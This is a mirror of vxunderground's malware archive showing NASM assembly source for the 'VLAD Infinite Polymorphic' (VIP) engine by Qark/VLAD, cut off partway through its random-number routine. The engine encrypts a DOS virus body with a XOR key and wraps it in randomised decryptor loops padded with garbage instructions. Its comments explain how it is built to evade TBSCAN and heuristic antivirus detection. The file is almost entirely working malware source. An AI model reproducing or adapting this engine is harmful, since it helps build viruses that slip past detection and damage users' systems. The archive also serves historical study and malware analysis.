mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
1242 lines
30 KiB
NASM
1242 lines
30 KiB
NASM
|
|
|||
|
;
|
|||
|
; VLAD Infinite Polymorphic - VIP
|
|||
|
; by Qark - VLAD
|
|||
|
;
|
|||
|
; This engine is good in some respects, and poor in others.
|
|||
|
; The encryption it creates is fairly easy to crack, being a looping
|
|||
|
; xor with a keychange (all registers/values chosen at random),
|
|||
|
; but the encryption loops are very hard to detect. There are four
|
|||
|
; different loop types, of which TBSCAN can only find two.
|
|||
|
;
|
|||
|
; At the start of the decryptor, the engine won't produce some instructions
|
|||
|
; that flag heuristics. For this reason, VIP avoids alot of the heuristic
|
|||
|
; problems most other garbage generators have. For example:
|
|||
|
; Doesn't produce INC/DEC in the first 20 bytes to avoid flags.
|
|||
|
; Doesn't produce memory operations in the first 10 bytes.
|
|||
|
; Doesn't produce XCHG in the first 10 bytes.
|
|||
|
; Always uses the short version of instructions (AX/AL Imm etc)
|
|||
|
;
|
|||
|
; One problem that couldn't be avoided is the creation of FFFF word pointers
|
|||
|
; causing crashes. The likelihood of them occurring is low (about 1 in 300
|
|||
|
; samples) because danger instructions have been put to a minimum.
|
|||
|
; (eg mov ax,[bx-1] bx=0, isn't produced anymore).
|
|||
|
;
|
|||
|
; If you're wondering why the polymorphism produced isn't changing, that's
|
|||
|
; because it's an example of slow polymorphism.
|
|||
|
;
|
|||
|
; To assemble, use it as an include file for the program that calls it.
|
|||
|
;
|
|||
|
|
|||
|
|
|||
|
VIP:
|
|||
|
;On entry:
|
|||
|
; AL = 1 if COM file
|
|||
|
; DS:SI = Points to the unencrypted virus
|
|||
|
; ES:DI = Place to store encrypted virus
|
|||
|
; CX = length of virus
|
|||
|
; BP = delta offset
|
|||
|
; Assumes CS=DS=ES
|
|||
|
;On return:
|
|||
|
; CX = length of decryptor + encrypted code
|
|||
|
|
|||
|
cld
|
|||
|
mov word ptr saved_cx,cx
|
|||
|
mov word ptr saved_di,di
|
|||
|
mov word ptr saved_si,si
|
|||
|
mov byte ptr segtype,al
|
|||
|
mov byte ptr inloop,0 ;Initialise variable
|
|||
|
|
|||
|
;Initialise our randomisation for slow polymorphism.
|
|||
|
call init_rand
|
|||
|
|
|||
|
;Clear the register table
|
|||
|
|
|||
|
call unmark_all
|
|||
|
|
|||
|
;Clear the displacements
|
|||
|
call clear_displacement
|
|||
|
|
|||
|
;Select a random decryption type.
|
|||
|
rand_routine:
|
|||
|
call get_rand
|
|||
|
mov si,offset dec_type
|
|||
|
and ax,3*2
|
|||
|
add si,ax
|
|||
|
mov ax,word ptr [si]
|
|||
|
jmp ax
|
|||
|
|
|||
|
Standard:
|
|||
|
;Uses 'standard' encryption.
|
|||
|
; ----This is a basic layout of the decryptor----
|
|||
|
; mov pointer,offset virus_start
|
|||
|
; mov cipher,xorval
|
|||
|
; loop:
|
|||
|
; xor word ptr pointer,cipher
|
|||
|
; inc pointer
|
|||
|
; inc pointer
|
|||
|
; cmp pointer,virus_start+virlength
|
|||
|
; jne loop
|
|||
|
; virus_start:
|
|||
|
; -----------------------------------------------
|
|||
|
|
|||
|
call startup ;Setup pointer and cipher
|
|||
|
|
|||
|
mov byte ptr inloop,1
|
|||
|
mov word ptr loopstart,di
|
|||
|
|
|||
|
call encrypt_type
|
|||
|
|
|||
|
or al,0f8h
|
|||
|
mov ah,al
|
|||
|
mov al,81h ;CMP pointer,xxxx
|
|||
|
stosw
|
|||
|
|
|||
|
call round_up
|
|||
|
add ax,word ptr pointer1val
|
|||
|
stosw
|
|||
|
|
|||
|
call handle_jne ;JNE xx
|
|||
|
call calc_jne
|
|||
|
|
|||
|
mov byte ptr inloop,0
|
|||
|
|
|||
|
;Calculate the displacement
|
|||
|
call fix_displacements
|
|||
|
|
|||
|
call encrypt_virus
|
|||
|
|
|||
|
call decryptor_size
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
Stack1:
|
|||
|
;Use the stack method for encryption. This method doesnt work on EXE's
|
|||
|
;because SS <> CS.
|
|||
|
; ----This is a basic layout of the decryptor----
|
|||
|
; mov sp,offset virus_start
|
|||
|
; mov cipher,xor_val
|
|||
|
; loop:
|
|||
|
; pop reg
|
|||
|
; xor reg,cipher
|
|||
|
; push reg
|
|||
|
; pop randomreg
|
|||
|
; cmp sp,virus_start+virus_length
|
|||
|
; jne loop
|
|||
|
; -----------------------------------------------
|
|||
|
|
|||
|
cmp byte ptr segtype,0
|
|||
|
jne stack1_ok
|
|||
|
jmp rand_routine
|
|||
|
stack1_ok:
|
|||
|
call rand_garbage
|
|||
|
call rand_garbage
|
|||
|
mov al,0bch ;MOV SP,xxxx
|
|||
|
stosb
|
|||
|
mov word ptr displace,di
|
|||
|
mov ax,bp
|
|||
|
stosw
|
|||
|
|
|||
|
call setup_cipher
|
|||
|
|
|||
|
mov byte ptr inloop,1
|
|||
|
mov word ptr loopstart,di
|
|||
|
|
|||
|
call select_reg
|
|||
|
call rand_garbage
|
|||
|
push ax
|
|||
|
or al,58h ;POP reg
|
|||
|
stosb
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
mov al,33h ;XOR reg,reg
|
|||
|
stosb
|
|||
|
|
|||
|
pop ax
|
|||
|
push ax
|
|||
|
push cx
|
|||
|
mov cl,3
|
|||
|
shl al,3
|
|||
|
or al,byte ptr cipher
|
|||
|
or al,0c0h
|
|||
|
stosb
|
|||
|
pop cx
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
pop ax
|
|||
|
or al,50h ;PUSH reg
|
|||
|
stosb
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
next_pop:
|
|||
|
call get_rand
|
|||
|
call check_reg
|
|||
|
jc next_pop
|
|||
|
and al,7
|
|||
|
or al,58h ;POP reg (=add sp,2)
|
|||
|
stosb
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
mov ax,0fc81h ;CMP SP,xxxx
|
|||
|
stosw
|
|||
|
mov word ptr displace2,di
|
|||
|
|
|||
|
call round_up
|
|||
|
add ax,bp
|
|||
|
stosw
|
|||
|
|
|||
|
call handle_jne
|
|||
|
call calc_jne
|
|||
|
|
|||
|
mov byte ptr inloop,0
|
|||
|
|
|||
|
mov al,0bch ;mov sp,0fffeh
|
|||
|
stosb
|
|||
|
mov ax,0fffeh
|
|||
|
stosw
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
;Calculate the displacement
|
|||
|
call fix_displacements
|
|||
|
|
|||
|
mov si,word ptr saved_si
|
|||
|
mov cx,word ptr saved_cx
|
|||
|
inc cx
|
|||
|
shr cx,1
|
|||
|
mov bx,word ptr xorval
|
|||
|
enc_stack1:
|
|||
|
lodsw
|
|||
|
xor ax,bx
|
|||
|
stosw
|
|||
|
loop enc_stack1
|
|||
|
|
|||
|
call decryptor_size
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
Call_Enc:
|
|||
|
;Uses recursive calls to decrypt the virus. Needs a big stack or else it will
|
|||
|
;crash.
|
|||
|
; ----This is a basic layout of the decryptor----
|
|||
|
; mov pointer,offset virus_start
|
|||
|
; mov cipher,xorval
|
|||
|
; loop:
|
|||
|
; cmp pointer,virus_start+virus_length
|
|||
|
; jne small_dec
|
|||
|
; ret
|
|||
|
; small_dec:
|
|||
|
; xor word ptr pointer,cipher
|
|||
|
; inc pointer
|
|||
|
; inc pointer
|
|||
|
; call loop
|
|||
|
; add sp,virus_length-2
|
|||
|
; -----------------------------------------------
|
|||
|
|
|||
|
call startup
|
|||
|
|
|||
|
mov byte ptr inloop,1
|
|||
|
|
|||
|
mov word ptr loopback,di
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
mov al,byte ptr pointer
|
|||
|
or al,0f8h
|
|||
|
mov ah,al
|
|||
|
mov al,81h ;CMP pointer,xxxx
|
|||
|
stosw
|
|||
|
|
|||
|
call round_up
|
|||
|
add ax,word ptr pointer1val
|
|||
|
stosw
|
|||
|
|
|||
|
call handle_jne
|
|||
|
|
|||
|
mov word ptr loopf,di
|
|||
|
stosb
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
mov al,0c3h ;RET
|
|||
|
stosb
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
mov ax,di ;Fix the JNE.
|
|||
|
mov si,word ptr loopf
|
|||
|
inc si
|
|||
|
sub ax,si
|
|||
|
dec si
|
|||
|
mov byte ptr [si],al
|
|||
|
|
|||
|
call encrypt_type
|
|||
|
|
|||
|
mov al,0e8h ;CALL xxxx
|
|||
|
stosb
|
|||
|
mov ax,di
|
|||
|
inc ax
|
|||
|
inc ax
|
|||
|
sub ax,word ptr loopback
|
|||
|
neg ax
|
|||
|
stosw
|
|||
|
|
|||
|
mov byte ptr inloop,0
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
mov ax,0c481h
|
|||
|
stosw
|
|||
|
mov ax,word ptr saved_cx
|
|||
|
dec ax
|
|||
|
dec ax
|
|||
|
stosw
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
;Calculate the displacement
|
|||
|
call fix_displacements
|
|||
|
|
|||
|
call encrypt_virus
|
|||
|
|
|||
|
call decryptor_size
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
Call_Enc2:
|
|||
|
;Decrypts the virus from within a call.
|
|||
|
; ----This is a basic layout of the decryptor----
|
|||
|
; mov pointer,offset virus_start
|
|||
|
; mov cipher,xorval
|
|||
|
; call decrypt
|
|||
|
; jmp short virus_start
|
|||
|
; decrypt:
|
|||
|
; xor pointer,cipher
|
|||
|
; inc pointer
|
|||
|
; inc pointer
|
|||
|
; cmp pointer,virus_start+viruslength
|
|||
|
; jne decrypt
|
|||
|
; ret
|
|||
|
; -----------------------------------------------
|
|||
|
|
|||
|
call startup
|
|||
|
|
|||
|
mov byte ptr inloop,1
|
|||
|
|
|||
|
mov al,0e8h ;CALL xxxx
|
|||
|
stosb
|
|||
|
stosw
|
|||
|
mov word ptr loopf16,di
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
mov al,0e9h ;JMP xxxx
|
|||
|
stosb
|
|||
|
mov word ptr displace2,di
|
|||
|
; mov ax,di
|
|||
|
; inc ax
|
|||
|
; inc ax
|
|||
|
; sub ax,saved_di
|
|||
|
; neg ax
|
|||
|
stosw
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
mov ax,di
|
|||
|
mov si,word ptr loopf16
|
|||
|
sub ax,si
|
|||
|
mov word ptr [si-2],ax
|
|||
|
|
|||
|
mov word ptr loopstart,di
|
|||
|
|
|||
|
call encrypt_type
|
|||
|
|
|||
|
or al,0f8h
|
|||
|
mov ah,al
|
|||
|
mov al,81h ;CMP pointer,xxxx
|
|||
|
stosw
|
|||
|
|
|||
|
call round_up
|
|||
|
add ax,word ptr pointer1val
|
|||
|
stosw
|
|||
|
|
|||
|
call handle_jne
|
|||
|
call calc_jne
|
|||
|
|
|||
|
mov al,0c3h ;ret
|
|||
|
stosb
|
|||
|
|
|||
|
mov byte ptr inloop,0
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
mov ax,di
|
|||
|
mov si,word ptr displace2
|
|||
|
sub ax,si
|
|||
|
dec ax
|
|||
|
dec ax
|
|||
|
mov [si],ax
|
|||
|
mov word ptr displace2,0
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
;Calculate the displacement
|
|||
|
call fix_displacements
|
|||
|
|
|||
|
call encrypt_virus
|
|||
|
|
|||
|
call decryptor_size
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
db 'VIP V1.0 by Qark/VLAD'
|
|||
|
|
|||
|
|
|||
|
;All the different encryption types
|
|||
|
dec_type dw offset stack1
|
|||
|
dw offset call_enc
|
|||
|
dw offset call_enc2
|
|||
|
dw offset standard
|
|||
|
|
|||
|
segtype db 0 ;1 if com file
|
|||
|
saved_cx dw 0 ;the initial CX
|
|||
|
saved_di dw 0 ;the initial DI
|
|||
|
saved_si dw 0
|
|||
|
|
|||
|
displace dw 0
|
|||
|
displace2 dw 0
|
|||
|
dw 0
|
|||
|
|
|||
|
displaceb dw 0
|
|||
|
|
|||
|
inloop db 0 ;=1 if inside a loop else 0
|
|||
|
;if set no 'word ptr' instructions made
|
|||
|
loopstart dw 0 ;for backwards 8 bit
|
|||
|
loopf dw 0 ;for forwards 8 bit
|
|||
|
loopback dw 0 ;backwards 16 bit
|
|||
|
loopf16 dw 0 ;forwards 16 bit
|
|||
|
xorval dw 0
|
|||
|
|
|||
|
cipher db 0
|
|||
|
|
|||
|
r_m db 0 ;The r-m of the pointer
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;General routines, used universally
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
Check_Reg:
|
|||
|
;Returns a carry if the register in lower 3 bits of al is bad
|
|||
|
push ax
|
|||
|
push si
|
|||
|
and ax,7
|
|||
|
mov si,offset reg
|
|||
|
add si,ax
|
|||
|
cmp byte ptr [si],0
|
|||
|
pop si
|
|||
|
pop ax
|
|||
|
je ok_reg
|
|||
|
stc
|
|||
|
ret
|
|||
|
ok_reg:
|
|||
|
clc
|
|||
|
ret
|
|||
|
; ax,cx,dx,bx,sp,bp,si,di
|
|||
|
reg db 00,00,00,00,01,00,00,00
|
|||
|
|
|||
|
Mark_Reg:
|
|||
|
;Mark a register as used, AL=reg
|
|||
|
push ax
|
|||
|
push si
|
|||
|
and ax,7
|
|||
|
mov si,offset reg
|
|||
|
add si,ax
|
|||
|
mov byte ptr [si],1
|
|||
|
pop si
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
UnMark_All:
|
|||
|
;Clears the register table, and sets SP
|
|||
|
push ax
|
|||
|
push di
|
|||
|
push cx
|
|||
|
mov di,offset reg
|
|||
|
mov al,0
|
|||
|
mov cx,8
|
|||
|
cs:
|
|||
|
rep stosb
|
|||
|
mov byte ptr cs:[reg+4],1 ;set sp
|
|||
|
pop cx
|
|||
|
pop di
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
Clear_Displacement:
|
|||
|
;Clears all the displacement variables
|
|||
|
push di
|
|||
|
push ax
|
|||
|
mov di,offset displace
|
|||
|
xor ax,ax
|
|||
|
stosw
|
|||
|
stosw
|
|||
|
stosw
|
|||
|
stosw
|
|||
|
stosw
|
|||
|
pop ax
|
|||
|
pop di
|
|||
|
ret
|
|||
|
|
|||
|
Select_Pointer:
|
|||
|
;Select an r-m as a pointer, you must call this routine before reserving
|
|||
|
;any registers. Updates the variable r_m.
|
|||
|
push ax
|
|||
|
push si
|
|||
|
call get_rand
|
|||
|
and ax,7
|
|||
|
mov byte ptr r_m,al
|
|||
|
|
|||
|
call index_2_pointer
|
|||
|
mov al,byte ptr [si]
|
|||
|
call mark_reg
|
|||
|
inc si
|
|||
|
mov al,byte ptr [si]
|
|||
|
cmp al,0
|
|||
|
je no_pointer2
|
|||
|
call mark_reg
|
|||
|
no_pointer2:
|
|||
|
pop si
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
Setup_Pointer:
|
|||
|
;Sets up the registers specified in the r-m with random values. These
|
|||
|
;values are put into the variable 'pointval'.
|
|||
|
;Moves the instructions into ES:DI.
|
|||
|
push ax
|
|||
|
push si
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
call index_2_pointer
|
|||
|
mov al,byte ptr [si]
|
|||
|
mov byte ptr pointer,al
|
|||
|
or al,0b8h ;MOV REG,xxxx
|
|||
|
stosb
|
|||
|
call get_rand
|
|||
|
stosw
|
|||
|
mov word ptr pointval,ax
|
|||
|
mov word ptr pointer1val,ax
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
mov al,byte ptr [si+1]
|
|||
|
cmp al,0
|
|||
|
je no_setupp2
|
|||
|
|
|||
|
or al,0b8h ;MOV REG,xxxx
|
|||
|
stosb
|
|||
|
|
|||
|
call get_rand
|
|||
|
stosw
|
|||
|
add word ptr pointval,ax
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
no_setupp2:
|
|||
|
|
|||
|
pop si
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
Index_2_Pointer:
|
|||
|
;Sets SI to the 'pointers' table of the r_m
|
|||
|
push ax
|
|||
|
xor ax,ax
|
|||
|
mov al,byte ptr r_m
|
|||
|
shl ax,1
|
|||
|
mov si,offset pointers
|
|||
|
add si,ax
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
pointer db 0 ;the first register
|
|||
|
pointer1val dw 0 ;the value of the first register
|
|||
|
pointval dw 0
|
|||
|
Pointers db 3,6 ;[bx+si]
|
|||
|
db 3,7 ;[bx+di]
|
|||
|
db 5,6 ;[bp+si]
|
|||
|
db 5,7 ;[bp+di]
|
|||
|
db 6,0 ;[si]
|
|||
|
db 7,0 ;[di]
|
|||
|
db 5,0 ;[bp]
|
|||
|
db 3,0 ;[bx]
|
|||
|
|
|||
|
Select_Reg:
|
|||
|
;Reserves a random register, and passes it out in AL
|
|||
|
;AH is destroyed
|
|||
|
call get_rand
|
|||
|
call check_reg
|
|||
|
jc select_reg
|
|||
|
and al,7
|
|||
|
call mark_reg
|
|||
|
ret
|
|||
|
|
|||
|
Setup_Reg:
|
|||
|
;Puts the value specified in BX, into the register specified in AL.
|
|||
|
;-Needs Fixing- to add a possible SUB, and also the garbage generation needs
|
|||
|
;to produce the same add/sub opcodes.
|
|||
|
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
and al,7
|
|||
|
push ax
|
|||
|
or al,0b8h ;MOV reg,xxxx
|
|||
|
stosb
|
|||
|
|
|||
|
call get_rand
|
|||
|
|
|||
|
sub bx,ax
|
|||
|
stosw
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
pop ax
|
|||
|
cmp al,0
|
|||
|
jne long_addreg
|
|||
|
mov al,5 ;ADD AX,xxxx
|
|||
|
stosb
|
|||
|
jmp short finish_add
|
|||
|
long_addreg:
|
|||
|
or al,0c0h
|
|||
|
mov ah,al
|
|||
|
mov al,81h
|
|||
|
stosw ;ADD reg,xxxx
|
|||
|
finish_add:
|
|||
|
mov ax,bx
|
|||
|
stosw
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
Seg_Override:
|
|||
|
;Puts the correct segment before a memory write. The memory write must be
|
|||
|
;called immediately afterwards.
|
|||
|
push ax
|
|||
|
cmp byte ptr segtype,1
|
|||
|
je no_segset
|
|||
|
mov al,2eh ;CS:
|
|||
|
stosb
|
|||
|
no_segset:
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
Fix_Pointer:
|
|||
|
;Fixes up the mod/rm field of a pointer instruction. Before this routine
|
|||
|
;is called, the opcode field has already been stosb'd. eg for xor, 31h has
|
|||
|
;been put into the current es:[di-1].
|
|||
|
;on entry AL=register
|
|||
|
;The displacement field (the following 2 bytes) must be fixed up manually.
|
|||
|
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
|
|||
|
mov cl,3
|
|||
|
shl al,cl
|
|||
|
or al,byte ptr r_m
|
|||
|
or al,80h
|
|||
|
stosb
|
|||
|
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
Dec_Inc_Reg:
|
|||
|
;Inc/Dec's the reg in AL. AH= 0=inc 1=dec
|
|||
|
;No garbage generators are called in this routine, because the flags
|
|||
|
;may be important.
|
|||
|
push ax
|
|||
|
mov byte ptr dec_inc,ah
|
|||
|
call get_rand
|
|||
|
test al,1
|
|||
|
pop ax
|
|||
|
push ax
|
|||
|
jnz do_inc_dec
|
|||
|
cmp al,0 ;check for ax
|
|||
|
jne not_ax_incdec
|
|||
|
mov ax,0ff05h ;ADD AX,ffff = DEC AX
|
|||
|
cmp byte ptr dec_inc,0
|
|||
|
jne fdec1
|
|||
|
mov al,2dh ;SUB
|
|||
|
fdec1:
|
|||
|
stosw
|
|||
|
mov al,0ffh
|
|||
|
stosb
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
not_ax_incdec:
|
|||
|
cmp byte ptr dec_inc,0
|
|||
|
je fdec2
|
|||
|
or al,0c0h
|
|||
|
jmp short fdec3
|
|||
|
fdec2:
|
|||
|
or al,0e8h
|
|||
|
fdec3:
|
|||
|
mov ah,al
|
|||
|
mov al,83h ;ADD reg,ffff = DEC reg
|
|||
|
stosw
|
|||
|
mov al,0ffh
|
|||
|
stosb
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
do_inc_dec:
|
|||
|
or al,40h ;INC reg
|
|||
|
cmp byte ptr dec_inc,0
|
|||
|
je fdec4
|
|||
|
or al,8
|
|||
|
fdec4:
|
|||
|
stosb
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
dec_inc db 0 ;0=inc 1=dec
|
|||
|
|
|||
|
Round_Up:
|
|||
|
;Rounds up the number in saved_cx to the nearest 2 and passes it out in AX.
|
|||
|
mov ax,word ptr saved_cx
|
|||
|
inc ax
|
|||
|
shr ax,1
|
|||
|
shl ax,1
|
|||
|
mov word ptr saved_cx,ax
|
|||
|
ret
|
|||
|
|
|||
|
Fix_Displacements:
|
|||
|
;Adds the size of the produced decyptors to the data listed in the
|
|||
|
;displacement variables. 0 Values signal the end.
|
|||
|
;DI=The final length of the 'decryptor'
|
|||
|
|
|||
|
push ax
|
|||
|
push si
|
|||
|
|
|||
|
mov ax,di
|
|||
|
sub ax,word ptr saved_di
|
|||
|
push di
|
|||
|
mov si,offset displace
|
|||
|
disp_loop:
|
|||
|
cmp word ptr [si],0
|
|||
|
je last_displacement
|
|||
|
mov di,[si]
|
|||
|
add [di],ax
|
|||
|
inc si
|
|||
|
inc si
|
|||
|
jmp short disp_loop
|
|||
|
last_displacement:
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
Rand_Garbage:
|
|||
|
;Generates 1-4 garbage instructions.
|
|||
|
push ax
|
|||
|
call get_rand
|
|||
|
and ax,07h
|
|||
|
push cx
|
|||
|
mov cx,ax
|
|||
|
inc cx
|
|||
|
start_garbage:
|
|||
|
call select_garbage
|
|||
|
loop start_garbage
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
Select_Garbage:
|
|||
|
;Selects a garbage routine to goto
|
|||
|
|
|||
|
call get_rand
|
|||
|
and ax,14
|
|||
|
push si
|
|||
|
mov si,offset calls
|
|||
|
add si,ax
|
|||
|
mov ax,word ptr [si]
|
|||
|
pop si
|
|||
|
jmp ax
|
|||
|
|
|||
|
calls dw offset Make_Inc_Dec
|
|||
|
dw offset Imm2Reg
|
|||
|
dw offset Rand_Instr
|
|||
|
dw offset Mov_Imm
|
|||
|
dw offset Make_Xchg
|
|||
|
dw offset Rand_Instr
|
|||
|
dw offset Mov_Imm
|
|||
|
dw offset Imm2Reg
|
|||
|
|
|||
|
Make_Inc_Dec:
|
|||
|
;Puts a word INC/DEC in ES:DI
|
|||
|
;eg INC AX
|
|||
|
; DEC BP
|
|||
|
|
|||
|
mov ax,di
|
|||
|
sub ax,word ptr saved_di
|
|||
|
cmp ax,15
|
|||
|
ja not_poly_start ;inc/dec in the first 20 bytes, flags
|
|||
|
ret
|
|||
|
not_poly_start:
|
|||
|
call get_rand
|
|||
|
call check_reg
|
|||
|
jc make_inc_dec
|
|||
|
and al,0fh
|
|||
|
or al,40h
|
|||
|
|
|||
|
test al,8
|
|||
|
jnz calc_dec
|
|||
|
|
|||
|
stosb
|
|||
|
ret
|
|||
|
calc_dec:
|
|||
|
mov ah,al
|
|||
|
and al,7
|
|||
|
cmp al,2
|
|||
|
ja Make_Inc_Dec
|
|||
|
mov al,ah
|
|||
|
stosb
|
|||
|
ret
|
|||
|
|
|||
|
Fix_Register:
|
|||
|
;AX=random byte, where the expected outcome is ah=opcode al=mod/rm
|
|||
|
;Carry is set if bad register. Word_Byte is updated to show word/byte.
|
|||
|
test ah,1
|
|||
|
jnz word_garbage
|
|||
|
mov byte ptr word_byte,0
|
|||
|
call check_breg
|
|||
|
jmp short byte_garbage
|
|||
|
word_garbage:
|
|||
|
mov byte ptr word_byte,1
|
|||
|
call check_reg
|
|||
|
byte_garbage:
|
|||
|
ret
|
|||
|
word_byte db 0 ;1=word, 0 = byte
|
|||
|
|
|||
|
|
|||
|
Imm2Reg:
|
|||
|
;Immediate to register.
|
|||
|
call get_rand
|
|||
|
call fix_register
|
|||
|
jc imm2reg
|
|||
|
test al,7 ;AX/AL arent allowed (causes heuristics)
|
|||
|
jz imm2ax
|
|||
|
xchg al,ah
|
|||
|
and al,3
|
|||
|
cmp al,2 ;signed byte is bad
|
|||
|
je imm2reg
|
|||
|
or al,80h
|
|||
|
or ah,0c0h
|
|||
|
stosw
|
|||
|
test al,2 ;signed word
|
|||
|
jnz ione_stosb
|
|||
|
call get_rand
|
|||
|
cmp byte ptr word_byte,1
|
|||
|
jne ione_stosb
|
|||
|
stosb
|
|||
|
ione_stosb:
|
|||
|
call get_rand
|
|||
|
stosb
|
|||
|
ret
|
|||
|
imm2ax:
|
|||
|
xchg ah,al
|
|||
|
and al,3dh
|
|||
|
or al,4
|
|||
|
stosw
|
|||
|
test al,1
|
|||
|
jnz ione_stosb
|
|||
|
ret
|
|||
|
|
|||
|
Rand_Instr:
|
|||
|
;Creates a whole stack of instructions.
|
|||
|
;and,or,xor,add,sub,adc,cmp,sbb
|
|||
|
|
|||
|
mov ax,di
|
|||
|
sub ax,word ptr saved_di
|
|||
|
cmp ax,10
|
|||
|
ja not_poly_start2 ;in the first 20 bytes, flags G
|
|||
|
ret
|
|||
|
not_poly_start2:
|
|||
|
call get_rand
|
|||
|
;Inloop stops xxx xx,word ptr [xxxx] instructions inside the
|
|||
|
;loops. It changes them to 'byte ptr' which stops the ffff crash
|
|||
|
;problem.
|
|||
|
cmp byte ptr inloop,1
|
|||
|
jne ok_words
|
|||
|
and ah,0feh
|
|||
|
ok_words:
|
|||
|
call fix_register
|
|||
|
jc rand_instr
|
|||
|
push cx
|
|||
|
mov cl,3
|
|||
|
rol al,cl
|
|||
|
pop cx
|
|||
|
xchg ah,al
|
|||
|
and al,039h
|
|||
|
or al,2 ;set direction flag
|
|||
|
stosb
|
|||
|
mov al,ah
|
|||
|
and al,0c0h
|
|||
|
cmp al,0c0h
|
|||
|
je zerobytedisp
|
|||
|
cmp al,0
|
|||
|
je checkdisp
|
|||
|
cmp al,80h
|
|||
|
je twobytedisp
|
|||
|
;sign extended
|
|||
|
mov al,ah
|
|||
|
stosb
|
|||
|
negative_value:
|
|||
|
call get_rand
|
|||
|
cmp al,0ffh
|
|||
|
je negative_value
|
|||
|
stosb
|
|||
|
ret
|
|||
|
twobytedisp:
|
|||
|
mov al,ah
|
|||
|
stosb
|
|||
|
call get_rand
|
|||
|
stosw
|
|||
|
ret
|
|||
|
checkdisp:
|
|||
|
push ax
|
|||
|
and ah,7
|
|||
|
cmp ah,6
|
|||
|
pop ax
|
|||
|
je twobytedisp
|
|||
|
zerobytedisp:
|
|||
|
mov al,ah
|
|||
|
stosb
|
|||
|
ret
|
|||
|
|
|||
|
Mov_Imm:
|
|||
|
;Puts a MOV immediate instruction.
|
|||
|
call get_rand
|
|||
|
test al,8
|
|||
|
jnz word_mov
|
|||
|
call check_breg
|
|||
|
jmp short mov_check
|
|||
|
word_mov:
|
|||
|
call check_reg
|
|||
|
mov_check:
|
|||
|
jc mov_imm
|
|||
|
and al,0fh
|
|||
|
or al,0b0h
|
|||
|
stosb
|
|||
|
test al,8
|
|||
|
jnz mov_word
|
|||
|
call get_rand
|
|||
|
stosb
|
|||
|
ret
|
|||
|
mov_word:
|
|||
|
call get_rand
|
|||
|
stosw
|
|||
|
ret
|
|||
|
|
|||
|
Init_Rand:
|
|||
|
;Initialises the Get_Rand procedure.
|
|||
|
push ax
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push si
|
|||
|
push ds
|
|||
|
mov si,1
|
|||
|
